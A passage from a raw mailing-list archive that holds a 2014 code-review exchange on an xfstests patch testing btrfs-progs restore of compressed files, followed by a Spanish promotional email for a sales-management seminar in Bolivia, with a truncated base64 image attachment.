(PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.180 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.180] Received: by mail-qc0-f180.google.com with SMTP id i17so123085qcy.11 for ; Tue, 25 Feb 2014 14:34:08 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.180] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.180] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:in-reply-to:references:date:message-id :subject:from:to:cc:content-type; bh=rjoytp1AxT4W0gTw+GCqrCyhkZF+XR0xjY3MDGojQNQ=; b=Is6K7l45PDfaA8OILxNFboOxWs5xCk0hKO0V5G3PC5u7/XhVO/nPXag0PsngAmxXfZ 0QHqcbyE4b53OODrBJgUjyBDvo7Vm/rTnHHrFRfeX5PjqzRqttJFFZMMHeVrWogNxgBM hwi2dccMfQ1PvzWbjVqg0+LD3Hrr+GIijvMCZAx9PU6LiQt+262TekapDcoXE/4x4+LI pntORMOKrBw7Gj4BiCo+giAcJTfI8txxiYcLM6FxRU42P5ngR6zzUXO79BGTiZQjgR1D v4+pXNABpHq2iLbkqd/OT95PlJfBRtSbXXCFqNjQDpm2NOAqNE74Fk+5UBODRPuk/S6a comA== MIME-Version: 1.0 X-Received: by 10.224.127.202 with SMTP id h10mr3640833qas.23.1393367647997; Tue, 25 Feb 2014 14:34:07 -0800 (PST) Received: by 10.140.50.8 with HTTP; Tue, 25 Feb 2014 14:34:07 -0800 (PST) Reply-To: fdmanana@gmail.com In-Reply-To: <20140225221100.GG13647@dastard> References: <1393352816-26065-1-git-send-email-fdmanana@gmail.com> <1393353848-26790-1-git-send-email-fdmanana@gmail.com> <20140225195420.GX13647@dastard> <20140225221100.GG13647@dastard> Date: Tue, 25 Feb 2014 22:34:07 +0000 Message-ID: Subject: Re: [PATCH v2] xfstests: add test for btrfs-progs restore feature From: Filipe David Manana X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: add test for btrfs-progs restore feature To: Dave Chinner Cc: "xfs@oss.sgi.com" , "linux-btrfs@vger.kernel.org" Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-qc0-f180.google.com[209.85.216.180] X-Barracuda-Start-Time: 1393367648 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145511 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Feb 25, 2014 at 10:11 PM, Dave Chinner wrote: > On Tue, Feb 25, 2014 at 09:02:43PM +0000, Filipe David Manana wrote: >> On Tue, Feb 25, 2014 at 7:54 PM, Dave Chinner wrote: >> > On Tue, Feb 25, 2014 at 06:44:08PM +0000, Filipe David Borba Manana wrote: >> >> This is a regression test to verify that the restore feature of btrfs-progs >> >> is able to correctly recover files that have compressed extents, specially when >> >> the respective file extent items have a non-zero data offset field. >> >> >> >> This issue is fixed by the following btrfs-progs patch: >> >> >> >> Btrfs-progs: fix restore of files with compressed extents >> >> >> >> Signed-off-by: Filipe David Borba Manana >> > .... >> >> +seq=`basename $0` >> >> +seqres=$RESULT_DIR/$seq >> >> +echo "QA output created by $seq" >> >> + >> >> +tmp=/tmp/$$ >> >> +status=1 # failure is the default! >> >> +trap "_cleanup; exit \$status" 0 1 2 3 15 >> > >> > here=`pwd` >> >> Didn't we agree before, for a previous path, to export "here" from the >> main control skip and then cleanup tests to not redefine it? >> I am confused now :) > > Yes, we did, but there's no patch to do that yet. Hence tests need > to define it until the infrastructure is changed..... There's a patch flying around that adds the _require_fssum() and then removes definition of "here" for all btrfs tests that use fssum. > >> >> + _scratch_mount $OPTIONS >> >> + >> >> + $XFS_IO_PROG -f -c "pwrite -S 0xff -b 100000 0 100000" \ >> >> + $SCRATCH_MNT/foo | _filter_xfs_io >> >> + >> >> + # Ensure a single file extent item is persisted. >> >> + _run_btrfs_util_prog filesystem sync $SCRATCH_MNT >> > >> > What's the difference here between "sync" and the command run above? >> > Unless there's some specific reason for using the above command (and >> > that needs to be commented), I think that sync(1) should be used >> > instead in all tests. >> >> I want to force a btrfs transaction commit. Plain old 'sync' would do >> it as well for sure, but that applies against all mounted FSs, while >> btrfs filesystem sync is applied against a single fs. > > And the problem with syncing all the filesystems is what? > >> Plus, since this is a btrfs specific test, is it non sense to exercise >> commands from btrfs-progs? > > At the expense of testing the command that almost every user in > the world uses to sync their filesystems? > >> >> + | _filter_xfs_io >> >> + $XFS_IO_PROG -c "pwrite -S 0xd0 -b 11 33000 11" $SCRATCH_MNT/foo \ >> >> + | _filter_xfs_io >> >> + $XFS_IO_PROG -c "pwrite -S 0xbc -b 100 99000 100" $SCRATCH_MNT/foo \ >> >> + | _filter_xfs_io >> >> + >> >> + md5sum $SCRATCH_MNT/foo | _filter_scratch >> > >> > So you are doing this with first having "persisted" the new extents. >> > Seems kind of strange that you need to persist some and not >> > others... All I want is to have different file extent items. >> >> I need to make sure there's fragmentation (i.e. several file extent >> items in the fs btree with data offset fields > 0). > > Right, but my question is why you haven't ensured that btree is on > disk at the time you run the md5sum. Because it's not needed. The sync is only to make sure the first 2 extent items aren't merged together. And that is needed to trigger the failure. > That seems important to me > because the above sync commands indicate that having the extents on > disk rather than in memory is important here. e.g. are you expecting > the md5sum to be correct before the data is synced to disk, and then > incorrect after the data is synced to disk by the unmount? Again what's important is having multiple extent items after unmounting. > > Will you remember this detail in five years time when this > test detects a regression? Indeed, will you even be around to > explain why the test does this in five years time? These regression > tests are going to be around for the entire life of btrfs, so we > better make sure that there's enough information in them to be able > to maintain them in 10-15 years time.... Ok, I hope to be alive in 5, 10 or even 15 years, and I'll make an effort to remain healthy :) I'll rephrase the comments to hopefully be more clear about the intention and conditions necessary to trigger the issue. > >> >> > >> >> + _scratch_unmount >> >> + _check_scratch_fs >> > >> > _check_scratch_fs should be unmounting the SCRATCH_DEV itself >> > internally. If it's not doing that for btrfs, then the btrfs check >> > code needs fixing. ;) >> >> No it doesn't unmount. > > Then _check_btrfs_filesystem() needs fixing. It certainly does have > code in it to check and unmount the scratch device, so if that is > not happening then there's something broken that needs to be fixed. So _check_btrfs_filesystem() will unmount the fs if it's mounted, do the fsck thing and then remount it. If the isn't mounted when it's called, it will not mount/remount it after doing the fsck. Very explicit, I don't know the motivation for that behaviour. > > Fix the infrastructure bug, don't work around it. > >> >> + >> >> + _run_btrfs_util_prog restore $SCRATCH_DEV $tmp >> >> + md5sum $tmp/foo | cut -d ' ' -f 1 >> > >> > What, exactly, are you restoring to /tmp/$$? Does this assume that >> > /tmp is a btrfs filesystem? If so, that is an invalid assumption - >> > /tmp can be any type of filesystem at all. >> >> The restore command allows you to grab files from a (potentially >> damaged) btrfs filesystem and save them to a destination path, no >> matter what its filesystem is (btrfs, extN, xfs, etc) > > Needs a comment. Ok... so should I make a comment to explain what btrfs restore does? Is it unreasonable to expect an unfamiliar reader to run btrfs --help or check the man page for example to see what this command is? > > [ Ugh. btrfs defines "restore" to mean "recover from [broken] > device", not "restore from backup" like it's used everywhere else in > the filesystem world? ] > > >> > It's also wrong to use $tmp like this.... >> > >> >> +} >> >> + >> >> +mkdir $tmp >> >> +echo "Testing restore of file compressed with lzo" >> >> +test_btrfs_restore "lzo" >> >> +echo "Testing restore of file compressed with zlib" >> >> +test_btrfs_restore "zlib" >> >> +echo "Testing restore of file without any compression" >> >> +test_btrfs_restore >> > >> > Yup, using $tmp like this is definitely wrong. $tmp is really for test >> > harness files and test logs, not for *test data*. TEST_DIR is what you >> > should be using here, not $tmp. >> >> Alright... Many other existing tests do things like this. > > Yes, but we don't want new tests to do this. I get annoyed by tests > failing due to running of disk space on /tmp or OOMing on machines > that use a small tmpfs filesystem for /tmp because tests use it for > dumping large test files rather than TEST_DIR.... > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com -- Filipe David Manana, "Reasonable men adapt themselves to the world. Unreasonable men adapt the world to themselves. That's why all progress depends on unreasonable men." From capaintegra@gmail.com Tue Feb 25 17:05:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.5 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLY, HTML_MESSAGE,SUBJ_ALL_CAPS,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 721B27F50 for ; Tue, 25 Feb 2014 17:05:34 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5602D304059 for ; Tue, 25 Feb 2014 15:05:31 -0800 (PST) X-ASG-Debug-ID: 1393369528-04cbb066e73dc10001-w1Z2WR Received: from mail-yh0-f67.google.com (mail-yh0-f67.google.com [209.85.213.67]) by cuda.sgi.com with ESMTP id 9rWdGgA0CaIYKu3W (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 25 Feb 2014 15:05:28 -0800 (PST) X-Barracuda-Envelope-From: capaintegra@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.213.67 X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.67] Received: by mail-yh0-f67.google.com with SMTP id c41so31324yho.2 for ; Tue, 25 Feb 2014 15:05:27 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.67] X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.67] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=7bCCJSQoZlQLDfei5XTr8fnQ8bu0wb8LK6jSdZRGioQ=; b=GGTdawuVgHbAte0GNv1RqXPNfTe4AxBUqMmt1rwXGGi33vf1M1ISEUDiXktmzqRhxK hkPZd2I/4KU+Bp4gH1SO9PzrvmoUr2VXEKsyuFa4FOgz3dUgdZqFZ4L2UTAJcDEfm37i 27qMYu/ldmrFICuercMFBtJYIA1VquqFnHvxg9rCT6IntspqTkyBMV2C11ahSpyMqMRG 0CKGDt/UiMdDv1bW0ankz0o17e2M2pm3o4bhv3Z7/EGe9PxTNRRzbH6H/ZMEjPER3ZIy axSeA2F9lnxLKxDX7evP8k6tSSvEHVOd4sOZsl5tRyFSf5Xggr61pU0rF/wotl+IuYVM BcKg== MIME-Version: 1.0 X-Received: by 10.236.74.162 with SMTP id x22mr3103578yhd.131.1393369526605; Tue, 25 Feb 2014 15:05:26 -0800 (PST) Received: by 10.170.220.70 with HTTP; Tue, 25 Feb 2014 15:05:26 -0800 (PST) Date: Tue, 25 Feb 2014 21:05:26 -0200 Message-ID: Subject: =?ISO-8859-1?Q?SEMINARIO_=22DIRECCI=D3N_Y_ADMINISTRACI=D3N_DE_VENTAS?= =?ISO-8859-1?Q?=22_APROVECHA_DESCUENTO?= From: Capacitacion Integral X-ASG-Orig-Subj: =?ISO-8859-1?Q?SEMINARIO_=22DIRECCI=D3N_Y_ADMINISTRACI=D3N_DE_VENTAS?= =?ISO-8859-1?Q?=22_APROVECHA_DESCUENTO?= To: undisclosed-recipients:; Content-Type: multipart/related; boundary=20cf30051402accc6004f3431fb9 X-Barracuda-Connect: mail-yh0-f67.google.com[209.85.213.67] X-Barracuda-Start-Time: 1393369528 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.64 X-Barracuda-Spam-Status: No, SCORE=1.64 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, SUBJ_ALL_CAPS, SUBJ_ALL_CAPS_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145512 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 SUBJ_ALL_CAPS Subject is all capitals 1.62 SUBJ_ALL_CAPS_2 SUBJ_ALL_CAPS_2 --20cf30051402accc6004f3431fb9 Content-Type: multipart/alternative; boundary=20cf30051402accc5e04f3431fb8 --20cf30051402accc5e04f3431fb8 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable *APROVECHA DESCUENTO INDIVIDUAL 15% * *GRUPOS DE 3 20%* [image: Im=E1genes integradas 1]CCIP *Centro De Capacitaci=F3n Integral Profesional* TIENE EL AGRADO DE INVITAR AL: SEMINARIO "DIRECCI=D3N Y ADMINISTRACI=D3N DE VENTAS" Fortalecer las habilidades de liderazgo permanente es en la actualidad una necesidad recurrente en la din=E1mica empresarial. A la direcci=F3n y administraci=F3n de ventas - entendida como un proceso q= ue conduce a la ejecuci=F3n de los planes para transformarlos en resultados - = le corresponde difundir y hacer realidad las estrategias adoptadas por la empresa, desarrollando la habilidad para responder en cada momento con flexibilidad, creatividad y eficiencia. La efectividad s=F3lo se hace posible si los dirigidos son capaces de percibir el significado de su aporte a la organizaci=F3n y su contribuci=F3= n a las metas globales. El manejo de informaci=F3n, el an=E1lisis de problemas, el empowerment, la comunicaci=F3n efectiva, la innovaci=F3n y el reconocimiento dan forma al estilo de direcci=F3n de ventas que aspiran a desarrollar las empresas modernas. Objetivo: Presentar una visi=F3n sistem=E1tica del rol directivo en ventas, relacion=E1ndolo con los requerimientos de competitividad, motivaci=F3n, flexibilidad e innovaci=F3n que impone un medio en el que el cambio es permanente. Dirigido a: Personas que realicen funciones comerciales directivas o que aspiran a hacerlo en un futuro inmediato, ejecutivos y supervisores de venta. CONTENIDO PROGRAMATICO: * LAS VENTAS HOY * ENFOQUES ADMINISTRATIVOS * =BFES IMPORTANTE EL CLIENTE? * PROCESO DE LA COMPRA Y VENTA * T=C9CNICAS DE RELACIONAMIENTO CON EL CLIENTE * ORGANIZACI=D3N Y ESTRUCTURAS DEL EQUIPO DE VENTAS * AN=C1LISIS OPORTUNIDADES DEL MERCADO * AN=C1LISIS DE LAS VENTAS * RESPONSABILIDAD DE LA PROFESI=D3N DE VENTAS * EL SERVICIO Y LAS VENTAS * EL DESEMPE=D1O DEL VENDEDOR * COMPENSACI=D3N E INCENTIVOS * PROCEDIMIENTO PARA DISE=D1O PROGRAMA DE COMPENSACI=D3N *COCHABAMBA* *CAMARA DE COMERCIO* Fecha: 13 y 14 de Marzo Horario: 19:00 a 22:00 *TARIJA* *Gran Hotel Tarija* Fecha: 10 y 11 de Marzo Horario: 19:00 a 22:00 COSTO: Bs. 250.- Hasta el 28 de febrero Bs. 300 hasta el d=EDa del evento Precios especiales a grupos de 3 o m=E1s participantes DEPOSITO PARA LA INSCRIPCION: Banco Los Andes Pro Credit. Cta. En bs. N=BA 3001-01-205806-1 *INFORMES Y RESERVAS: TELEFONOS: 70643311-79511480* CONFIRMAR A: deccip@gmail.com El importe Incluye refrigerios, material did=E1ctico y diploma acreditativo --20cf30051402accc5e04f3431fb8 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

APROVECHA DESCUENTO INDIVIDUAL = 15%

GRUPOS DE 3  20%

3D"Im=E1genesCCIP Centro De Capacitaci=F3n Integra= l Profesional

TIENE EL AGRADO DE INVITAR AL:

SEMINARIO “DIRECCI=D3N Y ADMINISTRACI=D3N DE VENTAS”

 

Fortalecer las habilidades de liderazgo permanente es en la actualidad una necesidad recurrente en la din=E1mica empresarial.

A la direcci=F3n y administraci=F3n de ventas - entendida como un proceso que co= nduce a la ejecuci=F3n de los planes para transformarlos en resultados – le c= orresponde difundir y hacer realidad las estrategias adoptadas por la empresa, desarrollando la habilidad para responder en cada momento con flexibilidad, creatividad y eficiencia.

La efectividad s=F3lo se hace posible si los dirigidos son capaces de percibir= el significado de su aporte a la organizaci=F3n y su contribuci=F3n a las meta= s globales.

El manejo de informaci=F3n, el an=E1lisis de problemas, el empowerment, la comunicaci=F3n efectiva, la innovaci=F3n y el reconocimiento dan forma al e= stilo de direcci=F3n de ventas que aspiran a desarrollar las empresas modernas.

 

Objetivo: Presentar una visi=F3n sistem=E1tica del rol directivo en ventas, relacion= =E1ndolo con los requerimientos de competitividad, motivaci=F3n, flexibilidad e inno= vaci=F3n que impone un medio en el que el cambio es permanente.

 

Dirigido a: Personas que realicen funciones comerciales directivas o que aspiran a h= acerlo en un futuro inmediato, ejecutivos y supervisores de venta.

CONTENIDO PROGRAMATICO:

 

•    &nbs= p;      LAS VENTAS HOY

•    &nbs= p;      ENFOQUES ADMINISTRATIVOS

•    &nbs= p;      =BFES IMPORTANTE EL CLIENTE?

•    &nbs= p;      PROCESO DE LA COMPRA Y VENTA

•    &nbs= p;      T=C9CNICAS DE RELACIONAMIENTO CON EL CLIENTE

•    &nbs= p;      ORGANIZACI=D3N Y ESTRUCTURAS DEL EQUIPO DE VENTAS

•    &nbs= p;      AN=C1LISIS OPORTUNIDADES DEL MERCADO

•    &nbs= p;      AN=C1LISIS DE LAS VENTAS

•    &nbs= p;      RESPONSABILIDAD DE LA PROFESI=D3N DE VENTAS

•    &nbs= p;      EL SERVICIO Y LAS VENTAS

•    &nbs= p;      EL DESEMPE=D1O DEL VENDEDOR

•    &nbs= p;      COMPENSACI=D3N E INCENTIVOS

•    &nbs= p;      PROCEDIMIENTO PARA DISE=D1O PROGRAMA DE COMPENSACI=D3N

 

COCHABAMBA

CAMARA DE COMERCIO

Fecha: 13 y 14 de Marzo

Horario: 19:00 a 22:00

 

 

TARIJA

Gran Hotel Tarija

Fecha: 10 y 11 de Marzo

Horario: 19:00 a 22:00

 

COSTO: Bs. 250.- Hasta el 28 de febrero
Bs. 300 hasta el d=EDa del evento

Precios especiales a grupos de 3 o m=E1s participantes

DEPOSITO PARA LA INSCRIPCION: Banco Los Andes Pro Credit.

Cta. En bs. N=BA 3001-01-205806-1

INFORMES Y RESERVAS: TELEFONOS: 70643311–79511480

CONFIRMAR  A:  &nbs= p;  deccip@gmail.com

El importe Incluye refrigerios, material did=E1ctico y diploma acreditativo

 

--20cf30051402accc5e04f3431fb8-- --20cf30051402accc6004f3431fb9 Content-Type: image/jpeg; name="TRJ CBBA DESCUENTO.jpg" Content-Disposition: inline; filename="TRJ CBBA DESCUENTO.jpg" Content-Transfer-Encoding: base64 Content-ID: X-Attachment-Id: ii_1446b4b81bbb1f0f /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIf IiEmKzcvJik0KSEiMEExNDk7Pj4+JS5ESUM8SDc9Pjv/2wBDAQoLCw4NDhwQEBw7KCIoOzs7Ozs7 Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozv/wAARCAPAAtADASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD2akpa SgApKG+6fpXG+MPHEHhuBYlHm3LDhaTfRGc6igrs7KjNeFyfFnXGfKoij0pv/C2Ne/ux0clV/YZh 9Z/unu1FeE/8LY17+7HR/wALY17+7HT5Kv8AIw+s/wB092orwn/hbGu+kdH/AAtjXf7sdHJV/lD6 z/dPdqK8J/4Wxrv92Oj/AIWxrvpHRyVf5A+s/wB092orwn/hbGu/3U/Kj/hbGu/3Y6OSr/IH1n+6 e7UV4R/wtjXfSOj/AIWxrvpHRyVf5A+sv+U93orwj/hbGu+kdH/C2Nd9I6OSr/IH1l/ynu9FeE/8 LY13+7HR/wALX130jo5Kv8gfWX/Ke7ZozXhP/C2Nd9I6P+Fsa7/djpctX+QPrP8AdPde9BHOQa8Q t/izrSzAyRoydxXpPhfxXb+JbMSRnZIpG9CehqW5R+NWKjiE3Zqx1A6UtIKWrOkKKKKACiiigAoo ooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiii gAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKA CiiigApD0paSgBrfdNeAeOi9x4muN5JCHA9q9/b7prwjxdHu8R3R/wBqujCw568UebjZcvKzkzBR 9nz2rS8ij7OScCve9iktTg9sZwt/apY9Onm/1ULN9FrpbfTbWwtlu78bmP3IvX61HcazcN8luVhQ dAqjivMVSpUk40IaLq9jP6y5fAjB/se9/wCfWT/vmk/si8AJa2cAf7NbH9qX+P8Aj6er+kXd1cyy pNMXHlng1FV4mlDnaQniKkVd2ORNvzginR2TyH92hY+wrobHSFuJHluDshQ5Zv8ACp5tUith5Onw pEo43kZZq0lWcpclKN317IbxT2ic9/Y94f8Al2f/AL5o/sa9/wCfWT/vmtdtUvyc/aXFOh1G/M6A 3TkFhkUpRxUVdqP3ideqlfQxv7Gvf+fV/wDvmk/se8/59ZP++a6XWL27hvSkU7quBwKqR6letKgN y+Mis6bxVSkqtlawo4iq1fQxv7GvQD/osn/fNJ/Y97/z6Sf98102s3t3De7Yp3RdoOB9Kof2nfY/ 4+np0frNWCkkgjiKrV9DJ/sa9P8Ay7Sf980jaPdoMm2fHrtrX/tS/wD+fp6cmq6gjhjcM2OzcitX Txa2USvb1Otjnjaspwy4/Ck+z57V2DRQa1aOwjWO6iGTt6MKwjBgkVthZqveLVpIuGJ5tGZot+el dv8ADAtHr/lgkKwyRmuaEPNdX8O02+IlPtUY+ilQuUq15JHs4NGR60lcJqvjXxJpuvRaSPCQme6d xaH7cg84Lznp8vHrXjn0B3mR60ZHrXCXnxBubG21t7jRwtxo4tg8Xng72mAJGQMDGcVZg8VeII7C +vtV8NJZQWto1wji9SXeyjIXC8jPrQB2WR60ZrjU8eQz6HompQWbH+1LqO2eJnwYWYZJ9+nHqDmq sXjjxDf317FpfhZLu3tLprdpmv448kH0ODQB3mR60ZHrWH4r15vDXh6fVRbfaDEVAi37cknHX8ay YfFfiCPTr+/1Twyllb2lm9yjLepJ5hUZC4XkZ9aAOyyKM1n6NqH9q6LZaiY/L+1QJNsznbuAOM/j VXxTrreHtHa9itftUxkSKK337TKzMBgH6ZP4UAbWRRketYtv4js38MR6/MTHbtCJXUclT/d9zniq Gn+KNVuNSghvvDV5Z2t2QLe43rJ2J+dVOV6UAdTmjI9a8+PxD1R5dRmg8NCbT9NuHhnuReorAKeS EPJrW8R+M10bStP1C2spLv7ad3klvLdYwpZnx7ADI96AOryKMj1rmfE/iqTRNNsLuysRfyX86QxR eaEBLDI56U/RvE0l21za6xYHSr60iE0sLyq6iMk4YMOCODQB0eRRkVyMPjWdnjurrRJ7fR52VYr5 5EIOTgFlzkA+tW/F3iS48N2lnLa6f9vmvLlbeKLzRHkkEjk8dqAOjyPWjI9a5OHxfcJp2pNqekvY ajp9s1y9q0wcOgBIKsvHao/DvijxDrctpJceGUtLC6j8wXIvkfAK5B2DmgDsMj1oyPWsPxFr50Ft MH2fzxqF9Haff27N/wDF7/Ssi08fQ3MHiFhZlJtEklXyy/EwQ4yDjj6dqAOzzRkVy+heL49V0u6v bu3FmbaFZ2Qtu/dsu4HOOnUVBP4xu4m0SBNIL3Wr2zzLE023YyqCFyR3z1oA6/IoyPWuD0nxt4k1 LXpNKbwiImtZI1vG+3IfJD9D/tcZ4Falh4v+2eL7rQjabIosiK78zIldQNy47EZoA6jIoyK4e/8A GusJ4g1PStL8Nrfrp2wyym9SLhl3dGHPfpXSaFq8GvaPbanbo8aXC7grrgqe4NAGpketGRXLWHjA XnjG60A2ZSKMMIrrfkSuoUuuPUbqu6Z4gOo+I9X0j7N5f9mmMeZvz5m4Z6dqANylrOtNYsbzUbzT oJWa5sdnnoUYbdwyOSMH8K0BQAtFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFF FFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUh6UtIaAGv91vpXh3ilc+Ibn/er3Fvun6V4 d4pOPENz/vV25f8A7yvmeTmP2TI2j0q3pkCz38asMqDkiqm4Vd0iZY9RjJPXivdxumHlbseLO/K7 CanO11eN/dBwo9BVpIrbTbRJZYxLLIMqrdMVSvozbXsisOjHH0rRZF1WyiMLqJ4htKk4yK8iryxo UlHSm92ZvSKXQrf2qn/PnB/3zT01YjKpbQoWGMgVD/ZF/wD88R/30KVdIvgwPkjj/aFazhlzi7ML U7aFjVJPJtILVOAw3Nj1qHTbOF1kup/9XF/D6mp9agZVhmOBlQp+tRaXPFLDNZSsE3/dJ9a5qcuX Ac1Le+oo3dO8QbU4AxCWUO3tlc0g1VAwIs4M+u2mvo14rYCq4/vBhzSHRr3tEP8AvoV0Qhl0lrJ/ eUnTfUuTTLfaZPM0SB1IG4DmseFR5yf7wrXFtLa6PcJKuMsO9ZERHnIP9oUsD7NUqsab91N29LBT +GVjobzzzJlLKOUYHzEVX/0v/oGRflU+sSPFYhkZgcgZBrDjuLuVwiSuSxwPmrysvozxFD2miS9T GlFyhc1gLon/AJBsX5VBrFvEsMUgjWKUj50WmfYdWB53/wDfykOlX0rgyAAdyz110Y06VWNR1FZd rlxsne4aGGF+pXoAd30qlcgfaHx03GtR5oNKtnhgcSzuMMw6CsYsSSc16eDvWxE69rJ7XNYpuTkA AzXT+AOPESVzGea6fwASfEKVpmTX1d/I3h8aPY8iuW1zSb678beHtRgh3Wtl53nvuA27lwOO9dFP C80LIkzQlgQHUAsvuM8Vl/2DqBGP+Em1L/vmL/4ivnD6o43xJ4U1rUJPGRt7MSDU2szajeB5gQDd 9Ki0rwvcx6fq8MPg0aVPcadJCk320y+YxGAuCeM+tdv/AGDqH/Qy6j/3xF/8RR/YOof9DLqP/fEX /wARQBx1z4L1dU8LS2kWDbNbHUIN4+Vo027x74yPwFZDeDNQTWtTmvPBQ1Tz715Yrj7cYsITwNoN ekf2DqH/AEMuo/8AfEX/AMRR/YWof9DLqP8A3zF/8RQBS+IGlXmt+C7rT9Pg864kKbY92M4YE8/S uU0rwrdx6ZrFvB4NGkz3OmSwJKL0y+YxXAXBPGTzmu4/sHUP+hl1H/viL/4ij+wdQx/yMuo/XZF/ 8RQBi+ELzxTawadpGoeGha21vAsT3X2kH7q4B2j1xVnxTo+sa5q2nJp15/Z8Vpvn+1eWsn7z7oAB 9i1aP9hahn/kZdR/74i/+Io/sLUP+hm1H/viL/4igDn7PwjqM3hTU/DmpziYGYyW1ztCiTJ3ZIHT 5s1EujeK9W8Q2F3eSSaVFYGNZfJui0VyqnJGz1PTNdIdDvx/zMupc/7EX/xFB0O/PH/CS6kP+ARf /EUAcOnw4lnXVtTlskXVjqMk9p5p3pLHnIVl6YNbWp6D4i8QatBdxXY0OO3sRCF8tZdxc/vF+gCr W9/Yd/8A9DLqP/fEX/xFB0O/7eJdR/74i/8AiKAOS1LQvEf/AAiei2sdn9svdJv1k27wnmRoTg+2 RitSy8P3+v3+oavrtkthLeaf9gW3WXeVTJJJPrkj8q2f7Dv/APoZdRx/uRf/ABFH9h3/AP0Muo/9 8xf/ABFAHNvoev6hpEPhS8sII9Og8tXvRLy6IQQAvY8VoePtM1O+sdKfSLL7XLY36XBi3hcqoPet T+wr/wD6GXUv++Yv/iKP7Cvz/wAzLqP/AHzF/wDEUAc9Loes61BrGsX+nJZ6hdaa9nb2ol3EZB5J 6cmsvwN4WudJ1XT3ufBv2KWGLbJqH20ud23BOzOOf612v9h3/wD0Muo/98Rf/EUf2Hf4x/wk2o/9 8Rf/ABFAFPxnpN7qzaF9ih8wWuqw3Ex3AbY1PJrmZvBWrT6H4hMUXk38+o3M1r8wxLE/GD7Guz/s O/8A+hl1H/vmL/4ik/sPUP8AoZdS/wC+Iv8A4igDl5/CGqzWmiW8IEUctrHZ6spbny1w2AfwI/Gt 